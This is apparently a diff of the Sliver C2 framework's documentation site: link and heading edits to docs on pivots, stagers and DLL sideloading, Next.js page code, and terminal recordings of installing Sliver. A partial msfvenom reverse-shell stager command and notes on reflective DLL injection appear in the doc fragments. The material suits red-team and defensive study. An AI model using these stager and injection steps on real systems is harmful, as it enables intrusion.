1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted so it cannot be determined without the [session key](/docs?name=Transport+Encryption). Everything in the path except for the extension is ignored by the server.
In the default configuration:
@@ -1,4 +1,4 @@
Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server and collaborate on engagements. The easiest way to setup a server for multiplayer is to use the [Linux install script](https://github.com/BishopFox/sliver/wiki/Linux-Install-Script) which will configure the server as a systemd service. However, any Sliver server binary supports multiplayer mode.
Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server and collaborate on engagements. The easiest way to setup a server for multiplayer is to use the [Linux install script](/docs?name=Linux+Install+Script) which will configure the server as a systemd service. However, any Sliver server binary supports multiplayer mode.
```
┌──────────────────┐ C2
+1 -1
View File
@@ -6,7 +6,7 @@ Pivots allow you to create "chains" of implant connections, for example if you'r
In Sliver you use an existing session to create a "pivot listener" and then generate new pivots that can connect back to that listener, just as you would with other C2 protocols/endpoints.
Pivots perform an [authenticated peer-to-peer cryptographic key exchange](https://github.com/BishopFox/sliver/wiki/Transport-Encryption#implant-to-implant-key-exchange-pivots) regardless of the underlying pivot protocol, therefore pivots can only communicate with other implants generated by the same server; this restriction cannot be disabled.
Pivots perform an [authenticated peer-to-peer cryptographic key exchange](/docs?name=Transport+Encryption) regardless of the underlying pivot protocol, therefore pivots can only communicate with other implants generated by the same server; this restriction cannot be disabled.
## TCP Pivots
+2 -2
View File
@@ -83,9 +83,9 @@ msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LU
## Custom Stagers
One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same [procedural HTTP protocol](<https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#procedural-http-c2>).
One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same [procedural HTTP protocol](/docs?name=HTTPS+C2).
The default file extension used to retrieve a stage 2 payload is `.woff`. It can be configured in the [HTTP C2 options](<https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#implant_config>) using the `stager_file_ext` setting.
The default file extension used to retrieve a stage 2 payload is `.woff`. It can be configured in the [HTTP C2 options](/docs?name=HTTPS+C2) using the `stager_file_ext` setting.
As a result, if you want to implement your own stager to fetch a stage 2 payload via HTTP, you need to query a URL that looks like this: `http://SLIVER-SERVER:STAGING-PORT/whatever.woff`.
@@ -1,4 +1,4 @@
# Sideloading features
## Sideloading Features
Sliver implants support three different ways of loading third party tools:
@@ -6,11 +6,11 @@ Sliver implants support three different ways of loading third party tools:
- `sideload`
- `spawndll`
## Known limitations
## Known Limitations
Arguments passed to .NET assemblies and non-reflective PE extensions are limited to 256 characters. This is due to a limitation in the Donut loader Sliver is using. A workaround for .NET assemblies is to execute them in-process, using the `--in-process` flag, or a custom BOF extension like `inline-execute-assembly`. There is currently no workaround for non-reflective PE extension.
## .NET assemblies loading
## Loading .NET Assemblies
This feature is only supported on Windows.
@@ -59,7 +59,7 @@ sliver (CONCRETE_STEEL) > execute-assembly -t 80 /tmp/Seatbelt.exe All
...
```
## Shared libraries side loading
## Shared Library Side Loading
The `sideload` command allows to load and run code in-memory (Windows/Linux) or via dropping a temporary file to disk (MacOS). On Windows, the DLL will be converted to a shellcode via [sRDI](https://github.com/monoxgas/sRDI) and injected into a sacrificial process.
@@ -120,7 +120,7 @@ sliver (CONCRETE_STEEL) > sideload -p /Applications/Safari.app/Contents/MacOS/Sa
Please be aware that you need to specify the entrypoint to execute for Windows DLLs.
## Loading reflective DLLs
## Loading Reflective DLLs
Loading reflective DLLs is just a special case of side loading DLLs. To make things easier, the `spawndll` command allows you to inject reflective DLLs and run them in a remote process.
@@ -1,5 +1,3 @@
## Server/Client Troubleshooting
### Server logs
Server related logs are saved to: `~/.sliver/logs/`
@@ -9,7 +7,7 @@ Server related logs are saved to: `~/.sliver/logs/`
- `sliver.json` JSON formatted log (includes timestamps)
- `audit.json` a JSON formatted history of commands/activity
The default log level for the server is `INFO` when troubleshooting it may be helpful to increase this to `DEBUG` (5), which can be done by editing the [server configuration file](https://github.com/BishopFox/sliver/wiki/Configuration-Files)
The default log level for the server is `INFO` when troubleshooting it may be helpful to increase this to `DEBUG` (5), which can be done by editing the [server configuration file](/docs?name=Configuration+Files)
### Client logs
+69 -14
View File
@@ -1,7 +1,22 @@
import AsciinemaPlayer from "@/components/asciinema";
import { SliversIcon } from "@/components/icons/slivers";
import TutorialCard from "@/components/tutorial-card";
import { Themes } from "@/util/themes";
import { Card, CardBody, CardHeader, Divider } from "@nextui-org/react";
import { useRouter } from "next/router";
export default function Home() {
const router = useRouter();
function getThemeState(): Themes {
if (typeof window !== "undefined") {
const loadedTheme = localStorage.getItem("theme");
const currentTheme = loadedTheme ? (loadedTheme as Themes) : Themes.DARK;
return currentTheme;
}
return Themes.DARK;
}
return (
<div className="grid grid-cols-12 mt-2">
<div className="col-span-1"></div>
@@ -10,7 +25,7 @@ export default function Home() {
src="/asciinema/intro.cast"
rows="18"
cols="75"
idleTimeLimit={2}
idleTimeLimit={60}
preload={true}
autoPlay={true}
loop={true}
@@ -19,30 +34,70 @@ export default function Home() {
<div className="col-span-5 ml-2">
<Card>
<CardHeader>
<span className="text-2xl">Sliver Command &amp; Control</span>
<div className="flex items-center">
<SliversIcon className="mr-2" height={28} />
<span className="text-2xl">Sliver Command &amp; Control</span>
</div>
</CardHeader>
<Divider />
<CardBody>
<p className="prose">
Sliver is a Command and Control (C2) system made for penetration
testers, red teams, and blue teams. It generates implants that can
run on virtually every architecture out there, and securely manage
these connections through a central server. Sliver supports
multiple callback protocols including DNS, Mutual TLS (mTLS),
WireGuard, and HTTP(S) to make egress simple, even when those
pesky blue teams block your domains. You can even have multiple
operators (players) simultaneously commanding your sliver army.
<p
className={
getThemeState() === Themes.DARK
? "prose dark:prose-invert"
: "prose prose-slate"
}
>
Sliver is a powerful command and control (C2) framework designed
to provide advanced capabilities for covertly managing and
controlling remote systems. With Sliver, security professionals,
red teams, and penetration testers can easily establish a secure
and reliable communication channel over Mutual TLS, HTTP(S), DNS,
or Wireguard with target machines. Enabling them to execute
commands, gather information, and perform various
post-exploitation activities. The framework offers a user-friendly
console interface, extensive functionality, and support for
multiple operating systems as well as multiple CPU architectures,
making it an indispensable tool for conducting comprehensive
offensive security operations.
</p>
</CardBody>
</Card>
</div>
<div className="col-span-1"></div>
{/* <div className="col-span-1"></div>
<div className="col-span-10 mt-2">
<div className="col-span-1"></div>
<div className="col-span-10 mt-8">
<Divider />
</div>
<div className="col-span-1"></div> */}
<div className="col-span-1"></div>
<div className="col-span-1"></div>
<div className="col-span-10 mt-8">
<div className="grid grid-cols-8">
<div className="col-span-2">
<TutorialCard
name="Getting Started"
description="A quick start guide to get you up and running with Sliver."
asciiCast="/asciinema/install-1.cast"
cols="133"
rows="32"
idleTimeLimit={1}
showButton={true}
buttonText="Read Docs"
onPress={() => {
router.push({
pathname: "/docs",
query: { name: "Getting Started" },
});
}}
/>
</div>
</div>
</div>
<div className="col-span-1"></div>
<div className="col-span-12 mb-8"></div>
</div>
);
}
+71
View File
@@ -0,0 +1,71 @@
import MarkdownViewer from "@/components/markdown";
import { useSearchContext } from "@/util/search-context";
import { faChevronCircleRight } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { Button, Card, CardBody, Divider } from "@nextui-org/react";
import { NextPage } from "next";
import { useSearchParams } from "next/navigation";
import { useRouter } from "next/router";
import React from "react";
export type SearchPageProps = {};
const SearchPage: NextPage = (props: SearchPageProps) => {
const router = useRouter();
const search = useSearchContext();
const query = useSearchParams().get("search");
const searchResults = React.useMemo(() => {
if (query) {
return search.searchDocs(query);
}
return [];
}, [query, search]);
return (
<div className="grid grid-cols-12 mt-2">
<div className="col-span-1"></div>
<div className="col-span-10">
<div className="text-3xl">
Search: &quot;{query?.slice(0, 50)}&quot;
<div className="text-sm text-gray-500">
{searchResults.length} Results
</div>
</div>
{searchResults.map((doc) => (
<Card key={doc.name} className="mt-4">
<CardBody>
<div className="flex">
<span className="text-xl">{doc.name}</span>
<div className="flex-grow"></div>
<Button
size="sm"
color="secondary"
className="w-[150px]"
onPress={() => {
router.push(`/docs?name=${doc.name}`);
}}
>
Full Doc
<FontAwesomeIcon icon={faChevronCircleRight} />
</Button>
</div>
<Divider className="mt-1" />
<div className="mt-2 overflow-hidden max-h-[200px]">
<MarkdownViewer markdown={doc.content} />
</div>
</CardBody>
</Card>
))}
</div>
<div className="col-span-1"></div>
<div className="col-span-12 mb-8"></div>
</div>
);
};
export default SearchPage;
@@ -0,0 +1,185 @@
{"version": 2, "width": 137, "height": 38, "timestamp": 1702828910, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
[0.084701, "o", " \r\r"]
[0.134782, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"]
[0.135514, "o", "\u001b[?1h\u001b="]
[0.136369, "o", "\u001b[?2004h"]
[1.996324, "o", "\u001b[7m\u001b[36mcurl\u001b[39m\u001b[7m https://sliver.sh/install\u001b[1m\u001b[7m\u001b[34m|\u001b[0m\u001b[39m\u001b[7m\u001b[4m\u001b[32msudo\u001b[24m\u001b[39m\u001b[7m \u001b[7m\u001b[36mbash\u001b[27m\u001b[39m"]
[2.447142, "o", "\u001b[40D\u001b[27m\u001b[36mc\u001b[27m\u001b[36mu\u001b[27m\u001b[36mr\u001b[27m\u001b[36ml\u001b[39m\u001b[27m \u001b[27mh\u001b[27mt\u001b[27mt\u001b[27mp\u001b[27ms\u001b[27m:\u001b[27m/\u001b[27m/\u001b[27ms\u001b[27ml\u001b[27mi\u001b[27mv\u001b[27me\u001b[27mr\u001b[27m.\u001b[27ms\u001b[27mh\u001b[27m/\u001b[27mi\u001b[27mn\u001b[27ms\u001b[27mt\u001b[27ma\u001b[27ml\u001b[27ml\u001b[27m\u001b[1m\u001b[34m|\u001b[0m\u001b[39m\u001b[27m\u001b[4m\u001b[32ms\u001b[27m\u001b[4m\u001b[32mu\u001b[27m\u001b[4m\u001b[32md\u001b[27m\u001b[4m\u001b[32mo\u001b[24m\u001b[39m\u001b[27m \u001b[27m\u001b[36mb\u001b[27m\u001b[36ma\u001b[27m\u001b[36ms\u001b[27m\u001b[36mh\u001b[39m "]
[3.088328, "o", "\u001b[?1l\u001b>"]
[3.095109, "o", "\u001b[?2004l\r\r\n"]
[3.138939, "o", " % Total % "]
[3.140482, "o", "Received % Xferd Average Speed Time T"]
[3.140953, "o", "ime Time Current\r\n Dload Upload Total Spent Left Speed\r\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0"]
[3.348678, "o", "\r"]
[3.349121, "o", "1"]
[3.349507, "o", "0"]
[3.34984, "o", "0"]
[3.350208, "o", " "]
[3.350435, "o", " "]
[3.35053, "o", "Installing dependencies using apt..."]
[3.350951, "o", "\r\r\n7420 10"]
[3.351661, "o", "0 742"]
[3.352273, "o", "0 0 0 35364 0 --:--:-- --:--:-- --:--:-- 35502\r\n"]
[9.95185, "o", "Selecting previously unselected package binutils-mingw-w64.\r"]
[9.952373, "o", "\r\r\n(Reading database ... \r"]
[9.971594, "o", "(Reading database ... 5%\r(Reading database ... 10%\r"]
[9.972513, "o", "(Reading database ... 15%\r(Reading database ... 20%\r(Reading database ... 25%\r(Reading database ... 30%\r(Reading database ... 35%\r(Reading database ... 40%\r(Reading database ... 45%\r(Reading database ... 50%\r"]
[9.978663, "o", "(Reading database ... 55%\r"]
[9.995169, "o", "(Reading database ... 60%\r"]
[10.004957, "o", "(Reading database ... 65%\r"]
[10.018783, "o", "(Reading database ... 70%\r"]
[10.03848, "o", "(Reading database ... 75%\r"]
[10.056054, "o", "(Reading database ... 80%\r"]
[10.071003, "o", "(Reading database ... 85%\r"]
[10.084401, "o", "(Reading database ... 90%\r"]
[10.12239, "o", "(Reading database ... 95%\r"]
[10.173737, "o", "(Reading database ... 100%\r(Reading database ... 313406 files and directories currently installed.)\r\r\r\n"]
[10.189446, "o", "Preparing to unpack .../00-binutils-mingw-w64_2.41-4+11+nmu1_all.deb ...\r\r\r\n"]
[10.193803, "o", "Unpacking binutils-mingw-w64 (2.41-4+11+nmu1) ...\r\r\r\n"]
[10.269046, "o", "Selecting previously unselected package gcc-mingw-w64-i686-posix-runtime.\r\r"]
[10.269564, "o", "\r\n"]
[10.308134, "o", "Preparing to unpack .../01-gcc-mingw-w64-i686-posix-runtime_12.2.0-14+25.2_amd64.deb ...\r"]
[10.308482, "o", "\r\r\n"]
[10.312389, "o", "Unpacking gcc-mingw-w64-i686-posix-runtime (12.2.0-14+25.2) ...\r\r\r\n"]
[11.4202, "o", "Selecting previously unselected package gcc-mingw-w64-i686-posix.\r\r\r\n"]
[11.455985, "o", "Preparing to unpack .../02-gcc-mingw-w64-i686-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
[11.460478, "o", "Unpacking gcc-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"]
[14.104305, "o", "Selecting previously unselected package g++-mingw-w64-i686-posix.\r\r\r\n"]
[14.141357, "o", "Preparing to unpack .../03-g++-mingw-w64-i686-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
[14.146621, "o", "Unpacking g++-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"]
[15.731417, "o", "Selecting previously unselected package g++-mingw-w64-i686-win32.\r"]
[15.731829, "o", "\r\r\n"]
[15.768219, "o", "Preparing to unpack .../04-g++-mingw-w64-i686-win32_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
[15.772983, "o", "Unpacking g++-mingw-w64-i686-win32 (12.2.0-14+25.2) ...\r\r\r\n"]
[17.37459, "o", "Selecting previously unselected package g++-mingw-w64-i686.\r\r"]
[17.374696, "o", "\r\n"]
[17.411973, "o", "Preparing to unpack .../05-g++-mingw-w64-i686_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
[17.426232, "o", "Unpacking g++-mingw-w64-i686 (12.2.0-14+25.2) ...\r"]
[17.426332, "o", "\r\r\n"]
[17.503886, "o", "Selecting previously unselected package gcc-mingw-w64-x86-64-posix-runtime.\r\r"]
[17.504212, "o", "\r\n"]
[17.541562, "o", "Preparing to unpack .../06-gcc-mingw-w64-x86-64-posix-runtime_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
[17.546412, "o", "Unpacking gcc-mingw-w64-x86-64-posix-runtime (12.2.0-14+25.2) ...\r\r\r\n"]
[18.714872, "o", "Selecting previously unselected package gcc-mingw-w64-x86-64-posix.\r"]
[18.715259, "o", "\r\r\n"]
[18.751957, "o", "Preparing to unpack .../07-gcc-mingw-w64-x86-64-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
[18.756477, "o", "Unpacking gcc-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r\r\r\n"]
[21.433457, "o", "Selecting previously unselected package g++-mingw-w64-x86-64-posix.\r"]
[21.434029, "o", "\r\r\n"]
[21.469656, "o", "Preparing to unpack .../08-g++-mingw-w64-x86-64-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
[21.473949, "o", "Unpacking g++-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r\r\r\n"]
[23.071383, "o", "Selecting previously unselected package g++-mingw-w64-x86-64-win32.\r"]
[23.071919, "o", "\r\r\n"]
[23.109876, "o", "Preparing to unpack .../09-g++-mingw-w64-x86-64-win32_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
[23.114113, "o", "Unpacking g++-mingw-w64-x86-64-win32 (12.2.0-14+25.2) ...\r\r\r\n"]
[24.915719, "o", "Selecting previously unselected package g++-mingw-w64-x86-64.\r"]
[24.916042, "o", "\r\r\n"]
[24.954255, "o", "Preparing to unpack .../10-g++-mingw-w64-x86-64_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
[24.968491, "o", "Unpacking g++-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r"]
[24.968909, "o", "\r\r\n"]
[25.069388, "o", "Selecting previously unselected package g++-mingw-w64.\r\r"]
[25.070115, "o", "\r\n"]
[25.111677, "o", "Preparing to unpack .../11-g++-mingw-w64_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
[25.126555, "o", "Unpacking g++-mingw-w64 (12.2.0-14+25.2) ...\r\r"]
[25.126669, "o", "\r\n"]
[25.216987, "o", "Selecting previously unselected package gcc-mingw-w64-i686.\r\r"]
[25.217088, "o", "\r\n"]
[25.255678, "o", "Preparing to unpack .../12-gcc-mingw-w64-i686_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
[25.270793, "o", "Unpacking gcc-mingw-w64-i686 (12.2.0-14+25.2) ...\r\r"]
[25.270892, "o", "\r\n"]
[25.365118, "o", "Selecting previously unselected package gcc-mingw-w64-x86-64.\r"]
[25.365778, "o", "\r\r\n"]
[25.4112, "o", "Preparing to unpack .../13-gcc-mingw-w64-x86-64_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
[25.432324, "o", "Unpacking gcc-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r\r\r\n"]
[25.53257, "o", "Selecting previously unselected package gcc-mingw-w64.\r"]
[25.533103, "o", "\r\r\n"]
[25.571001, "o", "Preparing to unpack .../14-gcc-mingw-w64_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
[25.587241, "o", "Unpacking gcc-mingw-w64 (12.2.0-14+25.2) ...\r\r\r\n"]
[25.679011, "o", "Selecting previously unselected package mingw-w64.\r\r\r\n"]
[25.722919, "o", "Preparing to unpack .../15-mingw-w64_11.0.1-3_all.deb ...\r\r\r\n"]
[25.728104, "o", "Unpacking mingw-w64 (11.0.1-3) ...\r\r\r\n"]
[25.902193, "o", "Setting up g++-mingw-w64-i686-win32 (12.2.0-14+25.2) ...\r\r\r\n"]
[26.005609, "o", "update-alternatives: using /usr/bin/i686-w64-mingw32-g++-win32 to provide /usr/bin/i686-w64-mingw32-g++ (i686-w64-mingw32-g++) in auto mode\r\r\r\n"]
[26.017091, "o", "Setting up g++-mingw-w64-x86-64-win32 (12.2.0-14+25.2) ...\r\r"]
[26.017273, "o", "\r\n"]
[26.040122, "o", "update-alternatives: using /usr/bin/x86_64-w64-mingw32-g++-win32 to provide /usr/bin/x86_64-w64-mingw32-g++ (x86_64-w64-mingw32-g++) in auto mode\r\r\r\n"]
[26.049058, "o", "Setting up gcc-mingw-w64-x86-64-posix-runtime (12.2.0-14+25.2) ...\r"]
[26.049155, "o", "\r\r\n"]
[26.062459, "o", "Setting up gcc-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r\r\r\n"]
[26.087899, "o", "Setting up gcc-mingw-w64-i686-posix-runtime (12.2.0-14+25.2) ...\r"]
[26.087992, "o", "\r"]
[26.089821, "o", "\r\n"]
[26.103367, "o", "Setting up gcc-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r\r\r\n"]
[26.122926, "o", "Setting up binutils-mingw-w64 (2.41-4+11+nmu1) ...\r\r\r\n"]
[26.135388, "o", "Setting up gcc-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"]
[26.16056, "o", "Setting up g++-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r"]
[26.160655, "o", "\r\r\n"]
[26.185839, "o", "Setting up gcc-mingw-w64-i686 (12.2.0-14+25.2) ...\r\r\r\n"]
[26.205943, "o", "Setting up g++-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r"]
[26.206287, "o", "\r\r\n"]
[26.226095, "o", "Setting up gcc-mingw-w64 (12.2.0-14+25.2) ...\r\r\r\n"]
[26.245408, "o", "Setting up g++-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"]
[26.282804, "o", "Setting up g++-mingw-w64-i686 (12.2.0-14+25.2) ...\r"]
[26.28308, "o", "\r\r\n"]
[26.302298, "o", "Setting up g++-mingw-w64 (12.2.0-14+25.2) ...\r"]
[26.30253, "o", "\r\r\n"]
[26.321881, "o", "Setting up mingw-w64 (11.0.1-3) ...\r"]
[26.322234, "o", "\r\r\n"]
[26.542589, "o", "Running from /root\r"]
[26.54269, "o", "\r\nImporting GPG key...\r\r\n"]
[26.558262, "o", "gpg: directory '/root/.gnupg' created\r\r\n"]
[26.55918, "o", "gpg: keybox '/root/.gnupg/pubring.kbx' created\r\r\n"]
[26.564249, "o", "gpg: /root/.gnupg/trustdb.gpg: trustdb created\r"]
[26.564907, "o", "\r\n"]
[26.565004, "o", "gpg: key 7DF912404449039C: public key \"Sliver <[email protected]>\" imported\r\r\n"]
[26.584997, "o", "gpg: Total number processed: 1\r\r\ngpg: imported: 1\r\r\n"]
[26.586357, "o", "Fetching latest Sliver release URLs...\r"]
[26.586453, "o", "\r\n"]
[26.844076, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-client_linux\r"]
[26.844639, "o", "\r\n"]
[27.564024, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-client_linux.sig\r\r\n"]
[28.06082, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-server_linux\r"]
[28.061261, "o", "\r\n"]
[29.324939, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-server_linux.sig\r\r\n"]
[29.764868, "o", "Verifying signatures ...\r\r\n"]
[31.017103, "o", "gpg: Signature made Tue Jul 11 21:41:18 2023 UTC\r"]
[31.017879, "o", "\r\ngpg: using RSA key 0ED3900D296CFA0283A4E4667DF912404449039C\r\r\ngpg: Good signature from \"Sliver <[email protected]>\" [unknown]\r\r\ngpg: WARNING: This key is not certified with a trusted signature!\r\r\ngpg: There is no indication that the signature belongs to the owner.\r\r\n"]
[31.018347, "o", "Primary key fingerprint: 0ED3 900D 296C FA02 83A4 E466 7DF9 1240 4449 039C\r\r\n"]
[31.293632, "o", "gpg: Signature made Tue Jul 11 21:41:18 2023 UTC\r"]
[31.294345, "o", "\r\ngpg: using RSA key 0ED3900D296CFA0283A4E4667DF912404449039C\r\r\ngpg: Good signature from \"Sliver <[email protected]>\" [unknown]\r\r\ngpg: WARNING: This key is not certified with a trusted signature!\r\r\ngpg: There is no indication that the signature belongs to the owner.\r\r\nPrimary key fingerprint: 0ED3 900D 296C FA02 83A4 E466 7DF9 1240 4449 039C\r\r\n"]
[31.295425, "o", "Moving the Sliver server executable to /root/sliver-server...\r\r\n"]
[31.298457, "o", "Setting permissions for the Sliver server executable...\r"]
[31.298717, "o", "\r\n"]
[31.300852, "o", "Unpacking the Sliver server...\r"]
[31.30108, "o", "\r\n"]
[31.450868, "o", "\r"]
[31.451189, "o", "\r\nSliver Copyright (C) 2022 Bishop Fox\r\r\nThis program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.\r\r\nThis is free software, and you are welcome to redistribute it\r\r\nunder certain conditions; type 'licenses' for details.\r\r\n\r\r\nUnpacking assets ...\r\r\n"]
[35.564985, "o", "Setting permissions for the Sliver client executable...\r\r\n"]
[35.567358, "o", "Copying the Sliver client executable to /usr/local/bin/sliver-client...\r\r\n"]
[35.570389, "o", "'/root/sliver-client_linux' -> '/usr/local/bin/sliver-client'"]
[35.570712, "o", "\r\r\n"]
[35.651173, "o", "Creating a symbolic link for sliver-client at /usr/local/bin/sliver...\r\r\n"]
[35.655603, "o", "Setting permissions for the symbolic link /usr/local/bin/sliver...\r\r\n"]
[35.65606, "o", "Configuring systemd service ...\r\r\n"]
[35.66269, "o", "Starting the Sliver service...\r\r\n"]
[35.706928, "o", "Generating local configs ...\r"]
[35.707266, "o", "\r\nGenerating operator configs ...\r\r\n"]
[36.088212, "o", "Generating operator configs for user kali...\r"]
[36.088987, "o", "\r\n"]
[36.19216, "o", " \r\r"]
[36.234115, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"]
[36.234287, "o", "\u001b[?1h\u001b="]
[36.235669, "o", "\u001b[?2004h"]
[37.91677, "o", "\u001b[4m\u001b[37ms\u001b[24m\u001b[39m"]
[38.060827, "o", "\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37ml\u001b[24m\u001b[39m"]
[38.172203, "o", "\b\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37ml\u001b[4m\u001b[37mi\u001b[24m\u001b[39m"]
[38.298728, "o", "\b\u001b[4m\u001b[37mi\u001b[4m\u001b[37mv\u001b[24m\u001b[39m"]
[38.476402, "o", "\b\u001b[4m\u001b[37mv\u001b[4m\u001b[37me\u001b[24m\u001b[39m"]
[38.545985, "o", "\b\b\b\b\b\u001b[24m\u001b[36ms\u001b[24m\u001b[36ml\u001b[24m\u001b[36mi\u001b[24m\u001b[36mv\u001b[24m\u001b[36me\u001b[36mr\u001b[39m"]
[39.070667, "o", "\u001b[?1l\u001b>"]
[39.073138, "o", "\u001b[?2004l\r\r\n"]
[39.226719, "o", "Connecting to localhost:31337 ...\r\n"]
[39.280105, "o", "\u001b[m"]
[39.285034, "o", "\u001b[1m\u001b[37m\r\n.------..------..------..------..------..------.\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\n`------'`------'`------'`------'`------'`------'\r\n\u001b[0m\r\nAll hackers gain reinforce\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n"]
[39.285661, "o", "\u001b[1m\u001b[36m[*] \u001b[0mCheck for updates with the 'update' command\r\n\r\n\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
[44.544399, "o", "\u001b[?2004l\r\r\n"]
+1 -1
View File
@@ -20,5 +20,5 @@
[3.122345, "o", "\u001b[m"]
[3.12272, "o", "\u001b[31m\r\n \t ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███\r\n\t▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒\r\n\t░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒\r\n\t ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄\r\n\t▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒\r\n\t▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░\r\n\t░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░\r\n\t░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░\r\n\t\t ░ ░ ░ ░ ░ ░ ░ ░\r\n"]
[3.124753, "o", "\u001b[0m\r\nAll hackers gain jump-start\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[1m[server] \u001b[0m\u001b[4msliver\u001b[0m > \u001b[0m \b"]
[5.29313, "o", "\u001b[J\u001b[2K\r"]
[60.29313, "o", "\u001b[J\u001b[2K\r"]
@@ -0,0 +1,36 @@
{"version": 2, "width": 137, "height": 38, "timestamp": 1702829213, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
[0.086575, "o", " \r\r"]
[0.139221, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"]
[0.139878, "o", "\u001b[?1h\u001b="]
[0.140711, "o", "\u001b[?2004h"]
[1.228241, "o", "\u001b[1ms\u001b[0m"]
[1.229112, "o", "\b\u001b[1ms\u001b[0m\u001b[38;2;153;153;153mliver\u001b[39m\b\b\b\b\b"]
[1.485473, "o", "\b\u001b[0m\u001b[4m\u001b[37ms\u001b[4m\u001b[37my\u001b[24m\u001b[39m\u001b[39m \u001b[39m \u001b[39m \u001b[39m \b\b\b\b"]
[1.602104, "o", "\b\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37my\u001b[4m\u001b[37ms\u001b[24m\u001b[39m"]
